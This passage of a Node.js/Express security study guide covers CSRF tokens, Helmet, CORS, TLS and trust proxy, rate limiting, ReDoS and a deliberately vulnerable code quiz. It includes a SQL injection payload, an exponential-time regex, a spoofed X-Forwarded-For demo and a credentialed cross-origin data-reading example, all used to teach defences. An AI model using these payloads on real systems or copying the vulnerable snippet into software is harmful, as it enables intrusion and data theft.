  6. This is the synchroniser token pattern. It works because the attacker can make the browser send requests but can't read anything from your origin.
AdvancedJWT cookies and double-submit tokens

If you keep a JWT in a cookie (one of the options in my notes, "JWT in cookies…"), you've brought CSRF back: the browser attaches that cookie automatically, just like a session id. With no server-side session to keep a token in, the stateless version is the signed double-submit cookie: put a token in a second, JavaScript-readable cookie and require the front end to copy it into a header.

csrf-double-submit.cjs
const crypto = require("node:crypto");
const express = require("express");
const cookieParser = require("cookie-parser");
const request = require("supertest");

const CSRF_SECRET = process.env.CSRF_SECRET ?? "dev-only-secret"; // from a secret store in production
const sign = (value) => crypto.createHmac("sha256", CSRF_SECRET).update(value).digest("base64url");

// token = random + "." + HMAC(sessionId + random): bound to this login, unforgeable without the secret
function issueCsrfToken(sessionId) {
  const random = crypto.randomBytes(16).toString("base64url");
  return `${random}.${sign(`${sessionId}.${random}`)}`;
}

function verifyCsrf(req, res, next) {
  const fromCookie = req.cookies["__Host-csrf"] ?? "";
  const fromHeader = req.get("x-csrf-token") ?? "";
  const [random, mac] = fromHeader.split(".");
  const expected = random ? sign(`${req.sessionId}.${random}`) : "";
  const ok =
    fromHeader !== "" &&
    fromHeader === fromCookie &&
    mac?.length === expected.length &&
    crypto.timingSafeEqual(Buffer.from(mac), Buffer.from(expected));
  if (!ok) return res.status(403).json({ error: "csrf" });
  next();
}

const app = express();
app.use(cookieParser());
app.use((req, res, next) => {
  req.sessionId = req.cookies.token ? "jwt-jti-42" : undefined; // pretend we verified the JWT cookie and read its jti
  next();
});

app.post("/login", (req, res) => {
  res.cookie("token", "header.payload.signature", { httpOnly: true, secure: true, sameSite: "lax" });
  res.cookie("__Host-csrf", issueCsrfToken("jwt-jti-42"), { secure: true, sameSite: "lax", path: "/" }); // readable by your JS
  res.sendStatus(204);
});

app.post("/api/transfer", verifyCsrf, (req, res) => res.json({ ok: true }));

(async () => {
  const login = await request(app).post("/login");
  const cookies = login.headers["set-cookie"].map((c) => c.split(";")[0]);
  const csrf = decodeURIComponent(cookies[1].split("=")[1]);

  let r = await request(app).post("/api/transfer").set("Cookie", cookies.join("; "));
  console.log("no header:", r.status, r.body); // no header: 403 { error: 'csrf' }

  r = await request(app).post("/api/transfer").set("Cookie", cookies.join("; ")).set("x-csrf-token", csrf);
  console.log("header matches:", r.status, r.body); // header matches: 200 { ok: true }

  const forged = "AAAAAAAAAAAAAAAAAAAAAA.forgedmac";
  r = await request(app).post("/api/transfer").set("Cookie", `${cookies[0]}; __Host-csrf=${forged}`).set("x-csrf-token", forged);
  console.log("tossed cookie:", r.status, r.body); // tossed cookie: 403 { error: 'csrf' }
})();
What’s happening
  1. Login sets two cookies: the JWT (HttpOnly, so scripts can't read it) and __Host-csrf (not HttpOnly, so your front-end JavaScript can read it). The token is random.HMAC(sessionId.random), so it's tied to this login and can't be made without the server's secret.
  2. Your front end reads __Host-csrf and sends it back in an X-CSRF-Token header on every state-changing request. A cross-site attacker can't do this: they can't read your cookies (they belong to your origin), and a cross-origin fetch with a custom header triggers a CORS preflight that your server won't approve.
  3. "no header": the browser attached both cookies, but there's no header, so fromHeader !== "" fails → 403. That's the attacker's form.
  4. "header matches": the header equals the cookie, the HMAC recomputed from req.sessionId and random matches, → 200.
  5. "tossed cookie": an attacker who controls a sibling subdomain can sometimes write cookies for your site ("cookie tossing") and so make header and cookie match. The HMAC check defeats that: forgedmac isn't a valid signature for this session. The __Host- prefix adds another guard — browsers only accept a __Host- cookie set by the exact host, with Secure, Path=/ and no Domain.
  6. Unsigned double-submit (just "header equals cookie") is the weak version that tutorials often show; bind it to the session and sign it.
AdvancedLibrary status: avoid csurf
AdvancedWhen CSRF tokens aren't needed
"Our API only accepts JSON, so CSRF can't happen"

An Express 5 API uses app.use(express.json()) and cookie sessions. A colleague says HTML forms can't send JSON, so it's CSRF-proof. Is that right?

Show answer

Mostly right today, for a fragile reason — don't rely on it.

What’s happening
  1. A form can only send application/x-www-form-urlencoded, multipart/form-data or text/plain. A form with enctype="text/plain" can produce a body that looks like JSON, such as {"to":"mallory","amount":500}.
  2. express.json() only parses requests whose Content-Type is application/json by default. I sent that text/plain body to an Express 5 app: req.body was undefined, so the handler got nothing to act on.
  3. A cross-origin fetch that sets Content-Type: application/json is not a "simple" request, so the browser sends a CORS preflight first, and your CORS policy refuses it.
  4. But one config change breaks this: express.json({ type: "*/*" }), a text/plain parser, a route that also accepts form bodies, or a GET that changes state. The protection is accidental.
  5. Use SameSite=Lax or Strict cookies and an Origin check or CSRF token on state-changing routes, so the defence is deliberate.

#Security headers with Helmet

Helmet is Express middleware that sets a batch of security-related response headers with sensible defaults. Most of them are instructions to the browser: don't guess content types, don't let other sites frame this page, only use HTTPS for this host, don't leak the URL in Referer. One line — app.use(helmet()) from my notes — turns them all on.

The mental model: Helmet is a set of "house rules" signs you hang on every response. Browsers that read them behave more safely on your users' behalf. Clients that ignore them (curl, a script, an attacker's tool) are unaffected, and the signs do nothing about bugs in your own code — Helmet doesn't stop SQL injection, XSS in your templates, or missing authorisation.

helmet-headers.cjs
const express = require("express");
const helmet = require("helmet");
const request = require("supertest");

const plain = express();
plain.get("/", (req, res) => res.send("<h1>hi</h1>"));

const secured = express();
secured.use(helmet());
secured.get("/", (req, res) => res.send("<h1>hi</h1>"));

(async () => {
  console.log((await request(plain).get("/")).headers["x-powered-by"]); // Express
  const { headers } = await request(secured).get("/");
  console.log(headers["x-powered-by"]); // undefined
  console.log(headers);
})();
What’s happening
  1. The plain Express 5 app sends X-Powered-By: Express and nothing security-related besides the basics. That header tells scanners which framework you run — free reconnaissance.
  2. secured.use(helmet()) registers one middleware that sets the headers on every response (before your route runs, so they're there even for errors) and removes X-Powered-By.
  3. The full set Helmet 8.3 sent is in the table below — I copied it from this run.
  4. Each header is an independent module, so you can tune or disable one: helmet({ contentSecurityPolicy: false }), helmet({ strictTransportSecurity: { maxAge: 63072000, preload: true } }), helmet({ referrerPolicy: { policy: "strict-origin-when-cross-origin" } }).
AdvancedReference: Helmet's default headers
Header (Helmet 8.3 default)What it tells the browser
Content-Security-Policy: default-src 'self'; …which sources of script, style, frames… may be used (see CSP)
Cross-Origin-Opener-Policy: same-originput this page in its own browsing-context group, so cross-origin windows it opens (or that open it) can't keep a handle to it
Cross-Origin-Resource-Policy: same-originother origins may not embed this response (image, script…)
Origin-Agent-Cluster: ?1isolate this origin in its own agent cluster (process) where possible
Referrer-Policy: no-referrerdon't send the page URL in Referer on outgoing requests
Strict-Transport-Security: max-age=31536000; includeSubDomainsonly use HTTPS for this host and its subdomains for a year (HSTS)
X-Content-Type-Options: nosnifftrust Content-Type; don't "sniff" an uploaded text file into HTML or script
X-DNS-Prefetch-Control: offdon't pre-resolve DNS for links on the page
X-Download-Options: noopenold Internet Explorer: don't open downloads in the site's context
X-Frame-Options: SAMEORIGINonly this origin may frame the page (older clickjacking defence; CSP frame-ancestors is the modern one)
X-Permitted-Cross-Domain-Policies: noneFlash/Acrobat: don't load cross-domain policy files
X-XSS-Protection: 0disable the old browser "XSS auditor", which itself caused vulnerabilities
AdvancedPitfalls: HSTS, CSP and other headers

#CORS

Browsers enforce the same-origin policy: JavaScript on https://app.example.test may send requests to other origins, but it may not read their responses unless that other server says it's allowed. CORS (Cross-Origin Resource Sharing) is how the server says so — with Access-Control-Allow-* response headers. My notes describe it as "only access through particular domain", which is right from the browser's point of view, but it's worth being precise about what it isn't.

CORS is not an API firewall. It's a rule the browser applies to its own pages. curl, Postman, a Python script and your other backend services don't implement it, so it doesn't stop anyone calling your API. And for "simple" requests, the browser sends the request and your handler runs — CORS only decides whether the page gets to see the response.

The mental model: CORS is a note your server sends back saying "pages from these origins may read this". The browser is the one who reads the note, and it only reads it for pages running inside it.

For requests that aren't simple — methods like PUT/DELETE, a Content-Type: application/json, custom headers like Authorization — the browser first sends a preflight: an OPTIONS request asking permission. Only if the preflight response allows it does the real request go out.

cors-demo.cjs
const express = require("express");
const cors = require("cors");
const request = require("supertest");

const app = express();
let handlerRuns = 0;

app.use(
  cors({
    origin: ["https://app.example.test"], // exact origins you trust
    methods: ["GET", "POST", "PUT", "DELETE"],
    allowedHeaders: ["Content-Type", "Authorization"],
    credentials: true,
    maxAge: 600,
  }),
);
app.use(express.json());
app.get("/api/profile", (req, res) => { handlerRuns++; res.json({ name: "Rohit" }); });
app.put("/api/profile", (req, res) => { handlerRuns++; res.json({ saved: true }); });

(async () => {
  // 1. Preflight from the trusted origin
  let r = await request(app).options("/api/profile")
    .set("Origin", "https://app.example.test")
    .set("Access-Control-Request-Method", "PUT")
    .set("Access-Control-Request-Headers", "content-type");
  console.log(r.status, pick(r.headers));

  // 2. Preflight from an untrusted origin
  r = await request(app).options("/api/profile")
    .set("Origin", "https://evil.test")
    .set("Access-Control-Request-Method", "PUT");
  console.log(r.status, pick(r.headers));

  // 3. A simple GET from the untrusted origin: the handler still runs
  r = await request(app).get("/api/profile").set("Origin", "https://evil.test");
  console.log(r.status, r.body, pick(r.headers), "handlerRuns =", handlerRuns);
})();

function pick(h) {
  return Object.fromEntries(Object.entries(h).filter(([k]) => k.startsWith("access-control") || k === "vary"));
}
AdvancedOutput: a CORS preflight response
Output
204 {
  'access-control-allow-origin': 'https://app.example.test',
  vary: 'Origin',
  'access-control-allow-credentials': 'true',
  'access-control-allow-methods': 'GET,POST,PUT,DELETE',
  'access-control-allow-headers': 'Content-Type,Authorization',
  'access-control-max-age': '600'
}
204 {
  vary: 'Origin',
  'access-control-allow-credentials': 'true',
  'access-control-allow-methods': 'GET,POST,PUT,DELETE',
  'access-control-allow-headers': 'Content-Type,Authorization',
  'access-control-max-age': '600'
}
200 { name: 'Rohit' } { vary: 'Origin', 'access-control-allow-credentials': 'true' } handlerRuns = 1
What’s happening
  1. Trusted preflight. The browser asks "may https://app.example.test send a PUT with a content-type header?". The cors middleware answers the OPTIONS itself with 204 — your route never runs — and echoes the allowed origin in Access-Control-Allow-Origin, plus the allowed methods and headers. Access-Control-Max-Age: 600 lets the browser cache this answer for 10 minutes, so it doesn't preflight every call.
  2. Untrusted preflight. The status is still 204 and most headers are still there, but Access-Control-Allow-Origin is missing. That's the "no": the browser sees its origin isn't allowed, fails the preflight, and never sends the PUT. The server doesn't reject anything; it just withholds the permission header.
  3. Untrusted simple GET. A GET with no custom headers needs no preflight, so the browser sends it, your handler runs (handlerRuns = 1) and returns 200 with the data. Again there's no Allow-Origin header, so the browser hides the response from evil.test's JavaScript. If this handler had a side effect, it would already have happened — CORS doesn't stop requests, it stops reads. (That's why CSRF needs its own defence.)
  4. Vary: Origin tells caches that the response differs by Origin, so a CDN doesn't serve the trusted origin's CORS headers to everyone else.
  5. A request with no Origin at all (what curl sends) gets the same 200 and data. CORS was never involved.
AdvancedMisconfig: reflected origin with credentials

The dangerous misconfiguration is reflecting any origin with credentials:

cors-misconfig.cjs
const express = require("express");
const cors = require("cors");
const request = require("supertest");

const app = express();
app.use(cors({ origin: true, credentials: true })); // ❌ "whoever asks"
app.get("/me", (req, res) => res.json({ email: "rohit@example.test" }));

request(app).get("/me").set("Origin", "https://evil.test").then((r) => {
  console.log(r.headers["access-control-allow-origin"], r.headers["access-control-allow-credentials"]);
  // https://evil.test true
});
What’s happening
  1. origin: true tells the cors package to copy whatever Origin the request has into Access-Control-Allow-Origin. For https://evil.test it answers https://evil.test.
  2. credentials: true adds Access-Control-Allow-Credentials: true, which tells the browser it may include cookies and let the page read the response.
  3. Together they mean any website can run fetch("https://api.example.test/me", { credentials: "include" }) in a logged-in victim's browser and read the victim's private data. This is the one CORS mistake that genuinely exposes data.
  4. Browsers refuse the literal combination Access-Control-Allow-Origin: * with credentials, which is why people "fix" the error by reflecting the origin — recreating the hole. Use an explicit allowlist (an array, or a function that checks a Set).
  5. Plain cors() with no options sends Access-Control-Allow-Origin: * (verified). That's fine for a genuinely public, cookie-less API, and wrong for anything with sessions.
Does CORS protect this endpoint?

DELETE /api/account is protected by a session cookie, and CORS allows only https://app.example.test. Can a page on https://evil.test delete a logged-in user's account?

Show answer

Not through CORS-checked fetch — but CORS isn't what you should rely on, and it depends on the method.

What’s happening
  1. DELETE isn't a simple method, so a fetch from evil.test triggers a preflight. The preflight response has no Access-Control-Allow-Origin for evil.test, so the browser never sends the DELETE. Here CORS does block it — as a side effect of preflight.
  2. Change the route to POST /api/account/delete that accepts a form body, and an HTML form from evil.test can send it with no preflight at all. The handler runs, the account is gone; CORS only hides the response.
  3. So CORS happened to help in case 1 and did nothing in case 2. The real defences are SameSite cookies, Origin checks and CSRF tokens.
  4. And neither case involves curl, which ignores CORS completely — authorisation on the server is what protects the endpoint from non-browser clients.

#HTTPS, proxies and trust proxy

TLS (what puts the "S" in HTTPS) gives three things on the wire: confidentiality (nobody in between can read the traffic), integrity (nobody can change it unnoticed) and server authentication (the certificate proves you're talking to the real host, if the client verifies it). It does nothing about what an authenticated client sends — injection and authorisation bugs work just as well over HTTPS. My notes say to always use TLS and that Node can create an HTTPS server with the https module; both true, though in production TLS usually ends earlier.

Node can terminate TLS itself:

https-server.cjs
const https = require("node:https");
const fs = require("node:fs");
const express = require("express");
const helmet = require("helmet");

const app = express();
app.use(helmet()); // includes Strict-Transport-Security
app.get("/", (req, res) => res.json({ secure: req.secure, protocol: req.protocol }));

const server = https.createServer(
  {
    key: fs.readFileSync("localhost-key.pem"),
    cert: fs.readFileSync("localhost-cert.pem"),
    minVersion: "TLSv1.2",
  },
  app,
);

server.listen(8443, () => {
  // A client that trusts our self-signed cert (in real life the CA bundle does this)
  const ca = fs.readFileSync("localhost-cert.pem");
  https.get("https://localhost:8443/", { ca }, (res) => {
    const tls = res.socket.getProtocol();
    let body = "";
    res.on("data", (c) => (body += c));
    res.on("end", () => {
      console.log(tls, res.headers["strict-transport-security"], body);
      // TLSv1.3 max-age=31536000; includeSubDomains {"secure":true,"protocol":"https"}

      // Without the CA, verification fails
      https.get("https://localhost:8443/", (r) => r.resume()).on("error", (err) => {
        console.log(err.code); // DEPTH_ZERO_SELF_SIGNED_CERT
        server.close();
      });
    });
  });
});
What’s happening
  1. I generated a throwaway self-signed certificate for localhost with openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost-key.pem -out localhost-cert.pem -days 7 -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost". An Express app is just a request handler, so https.createServer(options, app) serves it over TLS. minVersion refuses old protocol versions.
  2. The first client passes the certificate as its ca, so it trusts it. The handshake negotiates TLS 1.3, and inside Express req.secure is true and req.protocol is "https" because the socket itself is encrypted.
  3. Helmet's HSTS header is there. Browsers honour it only when it arrives over HTTPS, and from then on they won't even try plain HTTP to this host.
  4. The second client uses the default trust store, which doesn't contain our self-signed certificate, so the connection fails with DEPTH_ZERO_SELF_SIGNED_CERT. That failure is TLS working: without verification, you'd have encryption to an unknown party — exactly what a man-in-the-middle wants. Never "fix" it with rejectUnauthorized: false or NODE_TLS_REJECT_UNAUTHORIZED=0 in production.
Advancedtrust proxy behind a load balancer

In production, TLS usually terminates at a load balancer, ingress controller or CDN, which then forwards plain HTTP (or re-encrypted traffic) to Node. Now Node's socket comes from the proxy, so the proxy reports the original client details in headers: X-Forwarded-For (client IP chain), X-Forwarded-Proto (https), X-Forwarded-Host. The catch: any client can send those headers too. Express's trust proxy setting decides how many of them to believe.

trust-proxy.cjs
const express = require("express");
const request = require("supertest");

function makeApp(trust) {
  const app = express();
  if (trust !== undefined) app.set("trust proxy", trust);
  app.get("/", (req, res) => res.json({ ip: req.ip, ips: req.ips, protocol: req.protocol, secure: req.secure }));
  return app;
}

(async () => {
  // The client lies with its own X-Forwarded-For; the (one) proxy appends the address it really saw
  const headers = { "X-Forwarded-For": "6.6.6.6, 203.0.113.9", "X-Forwarded-Proto": "https" };
  for (const trust of [undefined, true, 1, "loopback"]) {
    const r = await request(makeApp(trust)).get("/").set(headers);
    console.log(String(trust).padEnd(9), r.body);
  }
})();
AdvancedOutput: req.ip per trust proxy setting
Output
undefined { ip: '127.0.0.1', ips: [], protocol: 'http', secure: false }
true      { ip: '6.6.6.6', ips: [ '6.6.6.6', '203.0.113.9' ], protocol: 'https', secure: true }
1         { ip: '203.0.113.9', ips: [ '203.0.113.9' ], protocol: 'https', secure: true }
loopback  { ip: '203.0.113.9', ips: [ '203.0.113.9' ], protocol: 'https', secure: true }
What’s happening
  1. The header simulates a real attack: the client sent X-Forwarded-For: 6.6.6.6 itself, and the one load balancer in front appended the address it actually saw, 203.0.113.9. Proxies append on the right, so the rightmost entries are the trustworthy ones. The request physically arrives from 127.0.0.1 (the "proxy", here supertest).
  2. Default (not set): Express ignores forwarded headers. req.ip is the socket address 127.0.0.1 and req.protocol is http. Behind a real proxy that's wrong — every user has the proxy's IP, so an IP rate limit would lump everyone together, and req.secure is false even though the user is on HTTPS.
  3. true: trust everything. Express takes the leftmost address, 6.6.6.6 — the one the client typed. An attacker can now pick any IP they like per request, dodging IP rate limits and poisoning logs.
  4. 1: trust exactly one hop. Express walks from the right, skips one proxy, and lands on 203.0.113.9, the address the load balancer saw. Correct for one proxy in front.
  5. "loopback": trust proxies whose own address is in the loopback range. The socket peer is 127.0.0.1, so it trusts that hop and also lands on 203.0.113.9. Named ranges ("loopback", "uniquelocal") or explicit CIDRs are the safest when you know your proxy's addresses.
  6. Rule: set trust proxy to match your actual topology — the number of proxies or their addresses — never true on a server the internet can reach directly.
AdvancedWhere a correct req.ip matters

Why this matters elsewhere:

  • Rate limiting by IP depends on req.ip being right (express-rate-limit logs an ERR_ERL_UNEXPECTED_X_FORWARDED_FOR validation error when a request carries X-Forwarded-For but trust proxy is off — I triggered it — see Rate limiting).
  • Secure cookies: express-session won't send a cookie: { secure: true } session cookie unless it believes the connection is HTTPS, so behind a TLS-terminating proxy you need trust proxy (or the session's proxy: true).
  • HTTP → HTTPS redirects: if (!req.secure) return res.redirect(301, "https://" + req.hostname + req.originalUrl) only works if req.secure reflects the proxy's X-Forwarded-Proto. Usually the load balancer does the redirect itself, and HSTS makes later visits skip HTTP entirely.
  • Inside the cluster: traffic between the proxy and pods, and between services, may still need encryption depending on your threat model — see Securing service-to-service traffic with mTLS.

#Securing a REST API: a checklist

My notes ask "How would you secure REST APIs in Node.js?". The honest answer is a list of boundaries, each with its own control — the earlier topics in this chapter, plus authentication from chapter 08. Here's the Express skeleton most of them come down to, run end to end:

secure-api.cjs
const express = require("express");
const helmet = require("helmet");
const cors = require("cors");
const { rateLimit } = require("express-rate-limit");
const { query, matchedData, validationResult } = require("express-validator");
const request = require("supertest");

const app = express();
app.set("trust proxy", 1);                                  // exactly one load balancer in front
app.use(helmet());                                          // security headers, removes X-Powered-By
app.use(cors({ origin: ["https://app.example.test"], credentials: true }));
app.use(express.json({ limit: "10kb" }));                   // bound the work per request

const loginLimiter = rateLimit({ windowMs: 15 * 60_000, limit: 5, standardHeaders: "draft-8", legacyHeaders: false });
app.post("/login", loginLimiter, (req, res) => res.status(401).json({ error: "invalid credentials" }));

const validate = (req, res, next) => {
  const result = validationResult(req);
  if (!result.isEmpty()) return res.status(400).json({ errors: result.array().map((e) => `${e.path}: ${e.msg}`) });
  next();
};

app.get(
  "/products",
  query("limit").default(20).isInt({ min: 1, max: 100 }).withMessage("must be 1–100").toInt(),
  query("sort").default("name").isIn(["name", "price"]).withMessage("must be name or price"),
  validate,
  (req, res) => res.json(matchedData(req)),
);

app.get("/boom", () => {
  throw new Error("connect ECONNREFUSED 10.0.3.7:5432"); // internal detail
});

// Last: a generic error for clients, the detail for logs
app.use((err, req, res, next) => {
  console.error("[log]", err.message);
  res.status(err.status ?? 500).json({ error: err.status ? err.message : "internal error" });
});

(async () => {
  console.log((await request(app).get("/products")).body);                            // { limit: 20, sort: 'name' }
  console.log((await request(app).get("/products?limit=5&sort=price")).body);         // { limit: 5, sort: 'price' }
  console.log((await request(app).get("/products?limit=10000&sort=password")).body);
  // { errors: [ 'limit: must be 1–100', 'sort: must be name or price' ] }

  const statuses = [];
  for (let i = 0; i < 6; i++) statuses.push((await request(app).post("/login").send({})).status);
  console.log(statuses.join(" ")); // 401 401 401 401 401 429

  console.log((await request(app).get("/boom")).body); // [log] connect ECONNREFUSED 10.0.3.7:5432 → { error: 'internal error' }

  const big = await request(app).post("/login").set("content-type", "application/json")
    .send(JSON.stringify({ x: "a".repeat(20_000) }));
  console.log(big.status, big.body); // [log] request entity too large → 413 { error: 'request entity too large' }
})();
What’s happening
  1. Order matters: proxy trust first (so req.ip is right for the limiter), then headers and CORS (so even error responses carry them), then the body parser with a size limit. Express's default JSON limit is 100 kB; a limit sized to your real payloads stops cheap memory and CPU abuse.
  2. GET /products with no query: .default(20) and .default("name") fill in values, toInt() turns "20" into the number 20, and matchedData returns exactly { limit: 20, sort: 'name' } — only fields with rules. sort is checked against an allowlist with isIn, which is also what makes it safe to use in an ORDER BY later.
  3. limit=10000&sort=password fails both rules and the validate middleware returns 400 with readable messages — before any database call.
  4. /login gets its own, much stricter limiter: 5 attempts per 15 minutes per IP. The sixth attempt gets 429 Too Many Requests (with RateLimit headers and Retry-After). That's brute-force protection where it's needed, without throttling the rest of the API.
  5. /boom throws an error containing an internal IP and port. The error handler logs the detail and sends the client only "internal error". Errors that carry err.status (like the body parser's 413) are safe to pass through with their message.
  6. The 20 kB JSON body is rejected by express.json({ limit: "10kb" }) with 413 before any route runs — that's why it's a 413 and not a 429, even though it was sent to /login: the global body parser runs before the route's limiter.
AdvancedCorrecting my notes: rate limiting on Kubernetes
rate-limit-pods.cjs
const express = require("express");
const { rateLimit } = require("express-rate-limit");
const request = require("supertest");

// Two "pods" running the same image, each with the default in-memory store
function makePod(name) {
  const app = express();
  app.use(rateLimit({ windowMs: 60_000, limit: 3, standardHeaders: "draft-8", legacyHeaders: false }));
  app.post("/login", (req, res) => res.json({ pod: name }));
  return app;
}
const pods = [makePod("pod-a"), makePod("pod-b")];

(async () => {
  const statuses = [];
  for (let i = 0; i < 8; i++) {
    const r = await request(pods[i % 2]).post("/login"); // the Service load-balances round-robin
    statuses.push(r.status);
  }
  console.log(statuses.join(" ")); // 200 200 200 200 200 200 429 429
})();
What’s happening
  1. Each makePod call creates its own rateLimit middleware, and each one has its own in-memory counter — exactly what happens when the same image runs in two pods.
  2. Requests alternate between pods. Requests 1, 3, 5 go to pod A (count 1, 2, 3); requests 2, 4, 6 go to pod B (count 1, 2, 3). All six are within each pod's limit of 3.
  3. Request 7 is pod A's fourth → 429; request 8 is pod B's fourth → 429. The client got 6 requests through a limit that was meant to be 3. With 10 replicas it would be 30, and autoscaling under attack would raise the limit just when you need it most.
  4. The fixes: a shared store (express-rate-limit supports Redis and others) so every pod counts together, or enforcement at the edge (API gateway, ingress, WAF) that sees all traffic, often both — coarse limits at the edge, per-user/per-route limits in the app. See Rate limiting and Rate-limiting algorithms.
  5. App-level limits protect logins, password resets and expensive endpoints from abuse. They don't stop a volumetric DDoS, which overwhelms the network before Express runs — that needs upstream protection.
AdvancedReDoS: nested quantifiers

My notes also mention "avoiding unsafe regex patterns". A regex with nested quantifiers can take exponential time on input that almost matches — and because a regex runs on the main thread, that's a denial of service for every user of the process (see Blocking the event loop):

redos.cjs
const evil = /^(a+)+$/; // a quantifier inside a quantifier

evil.test("a".repeat(18) + "!"); // warm-up, so the first timing isn't skewed by one-off start-up costs

for (const n of [22, 24, 26, 28]) {
  const input = "a".repeat(n) + "!"; // almost matches, then fails at the end
  const start = performance.now();
  evil.test(input);
  console.log(`${n + 1} chars: ${(performance.now() - start).toFixed(0)} ms`);
}

const fixed = /^a+$/;
const start = performance.now();
fixed.test("a".repeat(100_000) + "!");
console.log(`fixed, 100001 chars: ${(performance.now() - start).toFixed(1)} ms`);
AdvancedMeasured: exponential regex time
Output (two runs agreed within ~10%)
23 chars: 20 ms
25 chars: 66 ms
27 chars: 255 ms
29 chars: 1056 ms
fixed, 100001 chars: 0.1 ms
What’s happening
  1. ^(a+)+$ asks "one or more groups, each of one or more as, then the end". For a string of as there are exponentially many ways to split it into groups (aaa = a|a|a, aa|a, a|aa, aaa…).
  2. The trailing ! means the final $ never matches. V8's backtracking engine therefore tries every way of splitting the as before it can report failure.
  3. Each extra a roughly doubles the work, so two extra characters ≈ ×4: 20 → 66 → 255 → 1056 ms. At that rate a 40-character input would block the event loop for roughly half an hour — one request, every other user frozen.
  4. /^a+$/ means the same thing for valid input but has only one way to match, so it fails a 100,001-character string in 0.1 ms.
  5. Defences: avoid nested quantifiers and overlapping alternations ((a|a)*, (\w+\s?)+) on user input, cap input length before matching, use well-tested validators (express-validator wraps the validator library) rather than hand-written regexes, and lint for unsafe patterns.
AdvancedThe checklist, boundary by boundary

The checklist, boundary by boundary:

  • Transport: HTTPS everywhere, HSTS, trust proxy set to the real topology (HTTPS).
  • Authentication: short-lived access tokens verified with a pinned algorithm, issuer and audience; refresh-token rotation; passwords hashed with bcrypt/argon2/scrypt (Signing and verifying JWTs, Hashing passwords with bcrypt).
  • Authorisation: check ownership, role and tenant on every object and action, on the server (Trust boundaries).
  • Input: validate types, lengths, ranges and allowed fields at the edge with express-validator or a schema library; copy only matched fields (Mass assignment).
  • Interpreters: parameterised SQL, $eq/typed Mongo filters, execFile with arrays, no eval (SQL, NoSQL, command, code).
  • Objects: no unsafe merges of request data; Map/null-prototype dictionaries; own-property checks (Prototype pollution).
  • Browser: output encoding, CSP, HttpOnly/Secure/SameSite cookies, CSRF tokens or Origin checks, an explicit CORS allowlist, Helmet (XSS, CSRF, CORS).
  • Resources: body size limits, rate limits per route and identity in a shared store or at the edge, timeouts, pagination caps, safe regexes.
  • Errors and logs: generic messages to clients, details in logs; never log passwords, tokens or full card numbers; audit-log security events (logins, permission changes) (Error-handling middleware, Logging).
  • Secrets: from environment variables or a secret manager, never in the repo, the image or logs; rotate them; different secrets per environment.
  • Dependencies (supply chain): commit the lockfile and install with npm ci; run npm audit in CI; keep packages patched; be wary of packages with install scripts (npm ci --ignore-scripts where possible) and of tiny, unmaintained dependencies (package.json for production services).
  • Runtime: run as a non-root user in the container; consider Node's permission model — on Node 26, node --permission denies child processes and file reads unless allowed (--allow-fs-read=…, --allow-child-process); I ran it and got ERR_ACCESS_DENIED for both.
Spot the problems
JavaScript
app.set("trust proxy", true);
app.use(cors({ origin: true, credentials: true }));
app.use(express.json({ limit: "50mb" }));
app.post("/users/:id", (req, res) => {
  db.exec(`UPDATE users SET name = '${req.body.name}' WHERE id = ${req.params.id}`);
  Object.assign(req.user, req.body);
  res.json(req.user);
});
Show answer

At least six problems, one per boundary.

What’s happening
  1. trust proxy: true believes the leftmost X-Forwarded-For, so any client can spoof its IP and dodge IP-based rate limits. Use the hop count or proxy addresses.
  2. origin: true with credentials: true lets any website read authenticated responses in a victim's browser. Use an explicit origin allowlist.
  3. A 50 MB JSON limit lets a few requests tie up memory and CPU parsing junk. Size it to real payloads.
  4. The SQL is built by interpolation and run with exec, which runs multiple statements: name = "x'; DROP TABLE users; --" or an id of 1 OR 1=1 would be disastrous. Use db.prepare("UPDATE users SET name = ? WHERE id = ?").run(name, id).
  5. There's no authorisation check: any logged-in user can update any :id. And Object.assign(req.user, req.body) is mass assignment — the client can set role or id on the in-memory user — while a body with "__proto__" changes that object's prototype.
  6. res.json(req.user) may return internal fields (password hash, flags). Return an explicit response shape. And there's no input validation at all: name could be an object, a 10 MB string, or HTML that becomes stored XSS wherever it's rendered unescaped.

Built from Rohit’s “Nodejs interview study” and “Nodejs-Interview-Chatgpt” docs. Examples are run on Node 26.

RohitDownloads · All chapters

Sync progress across devices

Type the same private phrase on your Mac and your phone, and your Learned ticks follow you between them — on every study site.

The phrase never leaves this device: only a fingerprint of it is sent, and the server stores a fingerprint of that. Anyone who knows the phrase could see or change your ticks, so pick something you don’t use elsewhere.

Sync is on in this browser.

Sync ID

This ID must be the same on every device. If another device shows a different one, its phrase is different (capital letters count): tap “Turn off here” on it and type the phrase again exactly.